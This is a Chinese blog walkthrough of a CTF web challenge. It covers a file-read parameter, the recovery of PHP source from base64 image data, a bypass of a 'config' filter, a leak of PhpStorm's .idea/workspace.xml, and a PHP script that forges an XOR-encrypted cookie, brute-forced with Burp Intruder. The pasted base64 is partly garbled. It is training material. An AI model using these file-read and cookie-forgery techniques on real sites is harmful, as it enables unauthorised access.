

暑期练习web25: web code (i春秋) index.php文件包含、base64图片加密

原创

何家公子 于 2018-08-24 23:53:10 发布 786 收藏

分类专栏: [ctf web](#) 文章标签: [web ctf](#)

版权声明: 本文为博主原创文章, 遵循[CC 4.0 BY-SA](#)版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/qq_41618162/article/details/82026806

版权



[ctf 同时被 2 个专栏收录](#)

32 篇文章 0 订阅

订阅专栏



[web](#)

32 篇文章 0 订阅

订阅专栏



https://blog.csdn.net/qq_41618162

这次有意思，上来就是个萌妹子

但我们不能光看妹子，学习更重要！查看一波源码，很长一段，前面提示了是base64（html中图片可以用base64表示，那么用base64表示的文本就是破损图片）

1 <title>file:hei.jpg</title>

https://blog.csdn.net/qq_41618162

但是我把这段拿去解码却弄不出

1.考虑到文件包含的可能，我就试了下index.php,没反应后再写jpg=index.php这时候就出来新的源码了

```

<title>file:index.php</title><img src='
Kg0KICogQ3JlYXR1ZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpBW
U6IDE6MzENCIaqlw0KaGVhZGVyKCdjB250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRM
LTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1J1ZnJlc2gGMD
t1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxI0D0gJF9HRVRbJ2pwZydd0w0K
ZWNobyAnPHRpGx1PmZpbGU6Jy4kZmlsZS4nPC90aXRzT4nOw0KJGZpbGUgPSBwcmVnX3J1cG
xhY2Uol9bXmEtekEtWjAtOS5dKy8iLCiiLCAkZmlsZSk7DQokZmlsZSA9IHN0c19yZXBsYWN1
KCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF91bmNvZGUoZmlsZV9nZXRFY2
9udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhGE6aW1hZ2UvZ2Im02Jhc2U2
NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaW
xIPw0KICoNCiAqLw0KDQo/Pg== '></img>

```

2.有效部分是PD9到Pg==这一段，把他拿去解密

明文:

```

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=../index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
$file = str_replace("config", "_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
*/

```

BASE64:

```

PD9waHNCi8q
Kg0KICogQ3JlYXR1ZCBieSBQaHBTdG9ybS4NCiAqIERhdGU6IDIwMTUvMTEvMTYNCiAqIFRpBW
U6IDE6MzENCIaqlw0KaGVhZGVyKCdjB250ZW50LXR5cGU6dGV4dC9odG1sO2NoYXJzZXQ9dXRM
LTgnKTsNCmlmKCEgaXNzZXQoJF9HRVRbJ2pwZyddKSkNCiAgICBoZWFkZXIoJ1J1ZnJlc2gGMD
t1cmw9Li9pbmRleC5waHA/anBnPWhlaS5qcGcnKTsNCiRmaWxI0D0gJF9HRVRbJ2pwZydd0w0K
ZWNobyAnPHRpGx1PmZpbGU6Jy4kZmlsZS4nPC90aXRzT4nOw0KJGZpbGUgPSBwcmVnX3J1cG
xhY2Uol9bXmEtekEtWjAtOS5dKy8iLCiiLCAkZmlsZSk7DQokZmlsZSA9IHN0c19yZXBsYWN1
KCJjb25maWciLCJfIiwgJGZpbGUpOw0KJHR4dCA9IGJhc2U2NF91bmNvZGUoZmlsZV9nZXRFY2
9udGVudHMoJGZpbGUpKTsNCg0KZWNobyAiPGltZyBzcmM9J2RhGE6aW1hZ2UvZ2Im02Jhc2U2
NCwiLiR0eHQuIic+PC9pbWc+IjsNCg0KLyoNCiAqIENhbiB5b3UgZmluZCB0aGUgZmxhZyBmaW
xIPw0KICoNCiAqLw0KDQo/Pg==

```

https://blog.csdn.net/qq_41618162

```

<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=../index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
$file = str_replace("config", "_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";

/*
 * Can you find the flag file?
 *
*/

```

审阅它发现有，过滤规则（将“config”可替换为“_”）， web环境（PhpStorm）。

3. 使用phpStorm开发的程序目录下会有一个 `.idea` 文件夹用于存储配置文件。通过url访问这个文件夹获得网站更多的结构信息。

尝试访问： `.idea/workspace.xml` 会得到长长的一篇码，利用浏览器检索功能（ctrl+F）查找“flag”“fla”“fl”的字样，发现一文件名为“`fl3g_ichuqiu.php`”

尝试访问： `fl3g_ichuqiu.php` 表情包？ヽ(ﾟ▽ﾟ)ノ，回忆，刚刚解析的过滤规则没用上

尝试访问： `fl3gconfigichuqiu.php` 没什么用，，，再次利用文件包含漏洞

尝试访问： `index.php?jpg=fl3gconfigichuqiu.php` 依旧是一个破损的图片，同第二步解密，得到以下的信息

4.利用加解密的手法，自制脚本。（审计源码发现，我们要传输一个cookie让它解密出来是system，这时可以利用在线代码网站写脚本）

这里我附上一位大佬的源码，，将\$cookie_guest=""中的内容替换为你的cookie信息

```
<?php
error_reporting(E_ALL || ~E_NOTICE);

$text = 'guest';
$cookie_guest = 'dk9F50h0XUhH';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$cookie_guest = substr($cookie_guest,4);
for ($i = 0; $i < strlen($text); $i++) {
    $text[$i] = chr(ord($text[$i])+10);
}

for ($i = 0; $i < strlen($text); $i++) {
    $key .= ($text[$i] ^ $cookie_guest[$i]);
}
$text2 = 'system';
for ($i = 0; $i < strlen($text2); $i++) {
    $text2[$i] = chr(ord($text2[$i])+10);
}
$t = '0123456789abcdef';
for ($j = 0; $j < strlen($t); $j++) {
    $key_temp = $key.$t[$j];
    $result = '';
    for ($i = 0; $i < strlen($text2); $i++) {
        $result .= ($key_temp[$i] ^ $text2[$i]);
    }
    $result = base64_encode($rnd.$result);
    echo $result."\n";
}

?>
```

5.利用Burp Suite抓包爆破尝试，功能选项是Intruder

```
HTTP/1.1 200 OK
Server: nginx/1.10.2
Date: Thu, 16 Aug 2018 14:11:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17
Connection: close
X-Powered-By: PHP/5.5.9-1ubuntu4
Set-Cookie: user=a0FqREcZXUof
`(` ▽ `)` ↗
```

http://pb10gblog.net/qetAn6j8s62

总结：关键点有三个： * 图片base64编码 * phpsotrm的.idea文件夹 * 加密解密
气泡兔坦！

